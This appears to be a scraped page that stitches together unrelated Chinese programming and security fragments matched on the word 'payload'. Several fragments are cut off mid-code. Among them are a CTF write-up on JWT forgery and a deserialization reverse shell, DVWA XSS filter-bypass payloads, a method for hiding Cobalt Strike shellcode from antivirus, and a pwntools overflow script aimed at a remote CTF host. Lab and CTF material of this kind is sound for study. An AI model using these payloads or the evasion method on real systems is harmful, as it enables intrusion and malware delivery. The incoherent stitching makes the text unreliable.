payload

1. JSON Web Token是什么 JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。 2. 什么时候你应该用JSON Web Tokens 下列场景中使用JSON Web Token是很有用的： Authorization (授权) : 对于安全的在各方之间传输信息而言，JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名，例如，用公钥/私钥对，你可以确定发送人就是它们所说的那个人。另外，由于签名是使用头和有效负载计算的，您还可以验证内容没有被篡改。 3. JSON Web Token的结构是什么样的 JSON Web Token由三部分组成，它们之间用圆点(.)连接。这三部分分别是： Header Payload Signature 因此，一个典型的JWT看起来是这个样子的： xxxxx.yyyyy.zzzzz 接下来，具体看一下每一部分： Header header典型的由两部分组成：token的类型（“JWT”）和算法名称（比如：HMAC SHA256或者RSA等等）。 例如： 然后，用Base64对这个JSON编码就得到JWT的第一部分 Payload JWT的第二部分是payload，它包含声明

漏洞点 薅羊毛逻辑漏洞 Cookie伪造 -> JWT python反序列化 -> 反弹shell 薅羊毛逻辑漏洞 打开题目是这样一个页面 其实最初的题目这个募集资金的进度条是没有刷满的，注册小号刷满即可 这就是一个薅羊毛的逻辑漏洞 看最下边的提示 -> 一定要买到 lv6 翻了下前几页，没有lv6这个图片，一共有500百页 写个搜索脚本： 查到在181页 买lv6，但是这麽多钱，买不起咋办？ 审计页面的HTML代码有个优惠折扣，把它改到很小 跳到了这样一个页面 JWT-Cookie伪造 关于JWT―Cookie伪造的原理请自行查阅 爆破密钥 工具： c-jwt-cracker 有个网站 https://jwt.io/ 可以在这里 伪造Cookie ，把用户改为admin，密钥为上边破解出来的 "1kun" 抓包改JWT的值，发现一个源码www.zip，下载下来 python反序列化-反弹shell Admin.py中有个反序列化的点 构造反弹shell的payload： 生成payload： 这个界面有个隐藏表单，把生成的payload URL编码放进去提交 本机(攻击机)nc监听，拿到一个shell，flag在根目录下

　　上一小节使用了输入性的仪表板控件，此小节使用输出型，或者说显示型的仪表板控件。其实7.2.7小节已经使用了一个最常见的显示型控件了，那就是text控件，显示了“几年能结果子”。仪表板的显示型控件功能强大，界面美观，个人认为，这些控件特别适合来表示数据的变化情况。 　　向用户界面添加一个仪表类型小部件。 　　输入的msg.payload应该是数值，且格式要与Value Format一致。Value Format是gauge中的一个选项，具体情况参考 https://scotch.io/tutorials/all-about-the-built-in-angularjs-filters 　　可以指定3个扇区的颜色，并将其混合在一起，颜色也可以由#RRGGBB来表示，这个表示方法前边已经用过了。 　　仪表板有四种模式，常规的，甜甜圈，指南针和波浪。 　　Label可以用消息的属性来设置。 　　我们直接拖入4个gauge，来看看不同的“Type”有什么区别。为了方便比较，直接让Type与Label的名字一样。 　　然后拖入一个滑块作为输入，为仪表提供数据。 　　为了方便显示，需要给仪表设置不同的group，例如display1和display2。部署以后拖动slider，可以看到仪表上有实时的变化。 代码如下： [{" id ": "fd4813f8.44499" ," type ":

为何google推出了RecyclerView，它与ListView相比有什么优势呢？RecyclerView是否可以完全替代ListView呢？ 在缓存机制原理方面 ListView与RecyclerView缓存机制原理大致相似。都是离屏的ItemView即被回收至缓存，入屏的ItemView则会优先从缓存中获取。当然他们是的实现细节还是有差异的 。 ListView ListView有两级缓存；第一层：ActiveViews(用于屏幕内item的快速重用)，第二层：ScrapViews(不可见item的缓存) RecyclerView RecyclerView有四级缓存。 屏幕内缓存： 在屏幕中显示的ViewHolder。缓存到mChangedScrap（缓存数据已经改变的ViewHolder）和mAttachedScrap中。 屏幕外缓存：列表滑动出屏幕时，ViewHolder会被缓存。缓存到mCachedViews中。（默认大小为2。大小由 mViewCacheMax 决定。Recyclerview.setItemViewCacheSize(), 可以设置屏幕外缓存的大小） 缓存池：屏幕外缓存的mCachedViews已满时，会将ViewHolder缓存到RecycledViewPool中。 RecyclerView具有的优势： 1

1.反射型 LOW： 没有过滤，直接键入PAYLOAD 查看源码 这里没有任何过滤，使用htmlspecialchars()过滤 结果不弹窗 MEDIUM： LOW等级的方法不奏效了 观察输出可能是过滤了<script>标签 审查元素发现确实过滤了<script>标签 使用大小写混写绕过 <scrIpt>alert(1)</sCript> 查看代码发现只过滤了<script> 而且只过滤了一次，所以可以嵌套<script>绕过 <scr<script>ipt>alert(1)</scrip<script>t> 还可以使用htmlspecialchars()过滤 HIGH： MEDIUM也不会弹窗了 发现发生了过滤，而且script都被过滤了 输入<img src=1 onerror=alert(1)> 查看源码，发现仅仅是过滤了script 过滤时不推荐使用黑名单，基本上总有办法绕过 IMPOSSIBLE： 发现输入的代码变成了HTML实体查看源码发现使用了htmlspecialchars处理，并且使用了token,防止了CSRF 2.存储型 LOW： 这里Name的maxlength是10，可以审查元素给修改成大的值 输入<script>alert(1)</script>弹窗出现两次，说明在Name和Message处都存在存储型XSS 查看源码发现只是去除了两端的空白字符

ballerina 从发布，到现在官方文档的更新也是很给力的，同时也有好多改进，越来越好用了 可以参考官方文档 https://ballerina.io/learn/by-guide/restful-service/ 项目结构 └―― guide └―― restful_service └―― order_mgt_service.bal 初始化项目 cd guide && ballerina init 效果 http rest 服务编写 import ballerina/http; import ballerinax/docker; // docker 支持配置 @docker:Config { registry:"dalongrong", name:"restful_service", tag:"v1.0" } endpoint http:Listener listener { port:9090 }; // Order management is done using an in memory map. // Add some sample orders to 'ordersMap' at startup. map<json> ordersMap; // RESTful service. @http:ServiceConfig { basePath: "/ordermgt" }

上代码 1 import requests 2 import json 3 4 """ 5 封装request请求， 6 1.post：my_post 7 2.get:my_get 8 3.返回code:get_code(res) 9 4.返回json：get_json(res) 10 5.返回text：get_text(res) 11 6.响应时间:get_time(res) 12 7.请求header:get_header(act) 13 9.添加请求头参数:add_header(dict) 14 15 """ 16 17 #--------------------------------------------------- 18 """ 19 r.status_code 20 r.text #页面内容 21 r.encoding #header中的编码方式 22 r.apparent_encoding #备选的编码方式 23 r.content #响应内容的二进制形式 24 timeout= 25 r.elapsed.total_seconds()，单位是s 26 """ 27 #---------------------------------------------------- 28 29 def my_post(url,payload,headers,timeout

0x001 原理 采用分离法，即将ShellCode和加载器分离。方法较LOW但免杀。 本文主要将ShellCode转成HEX，再通过加载器执行ShellCode。 PS: 何为SC加载器，即专门用于加载所提供ShellCode的工具。 如同HTTP发包工具，支持提交HTTP，写死参数最多只能叫EXP。 再详细点，打个比方，你只会炒一个菜，你敢说你是厨师吗？ 0x002 ShellCode免杀 CS可生成很多种格式的ShellCode，具体该用哪一种呢？ 由于部分杀软会查杀ShellCode文件，所以不能直接使用RAW。 其实不用测都知道HEX字串肯定比RAW或标准C格式安全。 因为RAW和标准C格式一直以来都比较常用，被杀一点都不奇怪。 当然实际上使用任意格式都可以，前提是需要加解密。 下面我们拿CS3.13的ShellCode来做个对比，结果如下 CS生成Raw格式的ShellCode被7个杀软查杀(payload.bin) http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635 将CS的ShellCode转成Hex无一杀软查杀(hex.txt) http://r.virscan.org/language/zh-cn/report

Requests 参考文档 ： http://docs.python-requests.org/zh_CN/latest/user/quickstart.html 1 import requests 2 response = requests.get('http://www.baidu.com') 3 4 #文本形式的网页源码 5 print(response.text) 6 7 #二进制流形式打印 8 print(response.content) 9 10 #返回JSON格式，可能抛出异常 11 print(response.json) 12 13 #状态码 14 print(response.status_code) 15 16 #请求url 17 print(response.url) 18 19 #头信息 20 print(response.headers) 21 22 #cookie信息 23 print(response.cookies) View Code 传递参数 1 import requests 2 3 payload = {'key1': 'value1', 'key2': 'value2', 'key3': None} 4 r = requests.get('http://httpbin.org/get', params=payload) 5 print

看样子是要让我们通过read(0, &unk_601068, 0x10uLL)，读入 unk_601068 将 dword_60106C 覆盖 6c-68=4,所以： from pwn import * io = remote("111.198.29.45",45604) io.recvline() payload = "A"*4 payload += p64(1853186401) io.sendline(payload) io.interactive() 来源： https://www.cnblogs.com/chrysanthemum/p/11764423.html